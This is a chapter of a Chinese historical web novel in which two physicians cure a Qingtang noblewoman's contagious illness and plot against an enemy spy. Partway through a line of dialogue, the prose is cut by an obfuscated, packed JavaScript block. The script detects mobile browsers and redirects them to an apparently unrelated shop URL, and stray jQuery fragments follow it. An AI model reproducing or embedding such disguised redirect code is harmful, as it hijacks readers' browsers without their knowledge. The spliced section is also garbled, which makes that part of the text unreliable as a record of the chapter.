默认冷灰
24号文字
方正启体

105. 青唐城(三)

作者:水蘅一本书字数:K更新时间:
    次日,侍卫查了阿里骨的金牌饰,由婢女领着进了青唐王宫,明嘉提着小药箱跟在张楚林身后。


    乔氏躺在床上,金丝帐掩着,看不清真容,张楚林在乔氏的手腕处垫着手帕,把着脉象。


    “夫人的脉象沉而有力,是以停食积热,恕我冒犯,方才有看到夫人的衣袖里手臂上有些红斑,可是因此次病症引发。夫人可否让我再看清楚些,向我阐述一下身上的不适之处?”


    乔氏示意一旁的婢女帮忙整理衣袖,让张大夫仔细查看。


    乔氏嗓音沙哑虚弱,“不瞒医者,我常觉冷又觉热,身上也已经生起了许多红疹,虽也年迈,但也是王室中人,实在见不了人。”


    “夫人身上的红斑是否如蚁虫爬行般呓呓生痒,生汗滴珠,胸闷气短,四肢无力,貌无血色。”


    “医者所言皆是,前些日子,我那阿里骨孙子也曾找些巫医来看,行的法子却是无用的。医者,可有法子。”


    “夫人所得的是,疠风病。”


    明嘉想起,“疠风,前朝医圣孙大夫在《千金方》中就有留下治愈疗方。”


    “是的,夫人,疠风病,是一种传染疫疾,依在下所见,需得将此殿隔绝,严格管控人员进出,可进不可出,不得将病疾带到殿外去。”


    “医者的话,必要听从。若是让赞普感染了此病,我可是大罪过。”


    明嘉小声地说,“夫人可以看一下两位侍女,她们已经感染了。”


    只见侍女撩开衣袖,双手恭敬朝上,伸进金丝帐里,给乔氏察看。原来在她们为乔氏整理衣袖的时候,明嘉就已经看见了。


    出了殿门,到住处,张楚林将药方递给阿里骨。


    阿里骨对汉字一知半解,“这里头写得什么?”


    “有一药,取雷公藤嫩芽少许,煎服。”


    “雷公藤?此物剧毒。”


    “世子知道此物?”


    “不然呢,无论幼老,青唐人都知此物。”阿里骨上前抓着张楚林脖颈处的衣襟,“你敢害阿乙婆婆的性命,我会让你生不如死。”


    “不止雷公藤,还需蛇胆,以剧毒之蛇,以呈碧绿色为最佳,”明嘉言道,“阿里骨殿下,宋人得玉,其知弥精,其所取弥精;其知弥粗,其所取弥粗,子罕之所宝者至矣。五曰:万物同,而用之于人异也,此治乱、存亡、死生之原。同一种药草,在欲念邪恶的人手里,可能就是毒药,可在仁善之人手里,它可以是救命之物,阿里骨殿下,我们是医者,不是杀手。更不必担忧的是,我们彼此应该有一种信任,因为我们有同一种目的。”


    阿里骨松开了张楚林的脖子,“你们要的药材,我会给你们找到,你们最好是,救好阿乙婆婆。”


    待阿里骨走后,张楚林瘫坐在宫殿里的羊毛毯上,长长地叹了一口气,“好像,要充分得到他的信任,绝不是一朝一夕的事。”


    明嘉也坐了下来,“他在青唐城里,也不过是个随着亲母嫁给青唐主君,才有一席之地的外来人,本就是举目无亲,孤军奋战,自然,很难信任我们几个异国人。不过,既然他只相信利益,那我打算给他送一份大礼。”


    “那明妹妹,你有何高见。”


    这时,明嘉望向门外,正好,六驳回来了。


    明嘉倒了一杯茶水,递给六驳。


    六驳接了琉璃杯,一饮而尽,张楚林将六驳手里的画卷接了过来,展开一看,“这位是何人?”


    明嘉将画卷拿了过来,心知肚明地卷了起来,“你记住他的长相了吗?”


    张楚林点头,“我有些验尸的经验,差不多。”


    明嘉起身将画扔进了香炉里,转眼间,就燃起大火。


    “这画不错,有些可惜了。”


    “可惜的应是,上面那人杀了不少人,却还逍遥法外。”


    张楚林见怪不怪,却也停住了端着琉璃杯的手。


    “他是万合楼的掌柜,他的真面目我也只就着夜色见过一眼。”明嘉转眼看向六驳,“你今日见到他了,他如今在哪里?”


    “他现下是在蔺逋叱的宫殿里,应当是蔺逋叱手下的重要人物。”


    “如我所料,是蔺逋叱的人就好办多了。”


    “你是要为汴京城的案子做最后的了结?你知道的,可别坏了眼前的事。”张楚林放下了琉璃杯,看着她。


    “你放心,无须我们动手。”


    明嘉将藏在手腕里小巧的药盒拿了出来,“今日,我们判断乔氏的病是具有传染性的疠风,这个病同当年宫里的时疫不同,传染性没有那么高,所以,不用太担心,这里面有两颗药丸,我和楚林都已经服用过了,这一颗,你先服用,以防万一,剩下的一颗,等天黑了,你再送去客栈给魏熤。今日你查探之事也同他一言。我想知道他的对策如何?”


    张楚林又为琉璃盏续了一杯,“如果要进一步取得阿里骨的信任,把李掌柜的命送给他,不失为一计良策。”


    “楚林救了众多之人,再谈起杀生之事,也很是淡定。”


    “我只是有家有妻的凡人,不是无欲无求的修道僧人。再者,我坚信,他的命能换取我们更多战士的命,那就可太值了。”


    趁着黑夜,六驳去了客栈,与魏熤说了今日查探之事。


    “既已查明,李掌柜就是蔺逋叱的人,蔺逋叱应当不知道他就是西夏的人,六驳,接下来我们要盯紧他,一旦发现他与西夏人勾结,我们就让阿里骨去揭发他,送他一份大礼。若是他没有与人勾结,那能证明他是西夏暗探的线索就只可能是酒了。因而,酒我们也得去查,宋国来使青唐,这件事他一定会传信给西夏,所以,要盯紧近日是否会有一批酒运往西夏。”


    隔天天亮,明嘉和张楚林去看望乔氏,乔氏的病医好了许多,已经有胃口吃些早膳。


    “医者,我听闻我这病还需要取新鲜蛇胆一用?”


    “禀夫人,夫人的病已有近一月,寻常的药方子无法根治,才需要使用蛇胆作药引,它的效用是极佳的。”


    “现在又正是冬季,蛇都冬眠了,医者说的药引着实是难为了我的乖孙子,我听说,我那乖孙子昨夜在山谷里抓了一夜,好在啊,是抓到了一条。”


    “阿乙婆婆,阿里骨已经把蛇胆取出来了。”阿里骨带着一身寒气,端着蛇胆走了进来。


    明嘉上前接过蛇胆。


    “噢呦,我的乖孙啊,这一夜可是冻着你了。”


    “阿乙婆婆,只要能治好阿乙婆婆的病,阿乙婆婆能安享天年,就是我阿里骨的福分,这些苦头,对我们青唐的汉子实不算事。”


    “冻一晚上,怎么是福分了,”乔氏转头看向张楚林,“还得劳烦医者为我这乖孙开一副去寒气的药方,可别病着了。”


    “夫人放心。我们这就去配药了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359841|199741||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    说罢张楚林和明嘉退了出来,在一侧厢房里熬着药。


    两日后,张楚林将乔氏后续的药都打包分好,“明妹妹,这乔氏的病快治好了,今日我们应该就可以出王宫了。”


    明嘉摇着扇子,控着火候,“不见得,你说,阿里骨会不会把我们留在这。”


    “怎么,还看上我的医术了不成,还要把我押在这里,我可不干。”


    明嘉摇了摇头,“不,是作人质。”


    “这怎么行,人与人之间,就这点信任都没有吗,还押个大夫做人质。”


    “其实,是我不信阿里骨,他那样心狠手辣的一个人,连赞普之子都敢杀,还有什么是他不敢做的呢。不过,也不用担心,我想,魏熤不会把我们留在王宫里的。”


    “是啊,有你在,钟淮肯定不会把我们落在这里的。”


    乔氏服药后的第三日,乔氏的病已大好,被侍女搀扶着在床下走动,此番好转也惊动了她的亲子赞普前来探望,“阿吉真的全好了。看着阿吉恢复如初的样子,本王甚慰。”


    “此番是多亏了阿里骨,他找来的医者,妙手回春,治好了我这病。”


    赞普看向阿里骨,拍了拍阿里骨的肩膀,“阿里骨,做得好啊,父王赏你一匹汗血宝马,如何?”


    阿里骨单手行叩礼,“多谢父王。治好阿乙婆婆的病,是阿里骨的一片孝心,都是阿里骨应该做的,阿里骨不需要赏赐。”


    乔氏摇着头,“有功哪有不赏的,你父王的好意,都领着才是。”


    “你阿乙婆婆说的对,有功必有赏,这恩赐你要领着才好。好啦,就这样说好了。阿吉,本王还有事便先走了。”


    乔氏点头许诺。


    待赞普走后,张楚林上前,“夫人的病已然好全,夫人,阿里骨将军,张某这厢要辞行了。”


    “医者,这就要走了吗,医者的医术高明,为何不考虑日后在青唐王宫任医师呢?”


    “不瞒夫人,张某本是宋人,今和妹妹游玩至青唐城,由阿里骨将军慧眼识珠,这才引荐我们进王宫为夫人治病,夫人的病既已治好,张某自是要带着妹妹回宋国的。”


    “医者是大宋的人?我听说,前些日子,王宫里有一位宋国使臣前来拜访,也是相貌堂堂、能言善辩,大宋真是人杰辈出啊。”


    “夫人谬赞了。”


    “那医者的妹妹可定亲了,我这乖孙如今还尚未娶妻,我看医者的妹妹生的是一等一的好,不知医者的妹妹可看得上我们阿里骨?不如日后同医者做青唐城的亲家,也是一桩佳话。”


    “多谢夫人看得上我家妹妹,可是夫人的好意,我们只能拒绝了,不瞒夫人,我这妹妹看着年纪小,可也已经嫁人了,我这妹夫是个沽酒郎,如今还在青唐城里等着我和妹妹回去了。”


    “可惜了,这么好的姑娘,竟嫁了一个区区沽酒郎。姑娘,你可有悔婚之意,夫人我可襄助于你。”


    明嘉上前,摇了摇头,“多谢夫人,我的丈夫虽是沽酒郎,却也是这世上对我极好的人,我不想辜负了他。”


    “这样啊,既如此,我也不久留了,这里是一些金银珠宝,是我的心意,两位医者就收下吧。”


    张楚林上前接过侍女手中的珠宝盒,“多谢夫人。”


    “阿里骨,你送医者他们出宫吧。”


    “是,阿乙婆婆。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)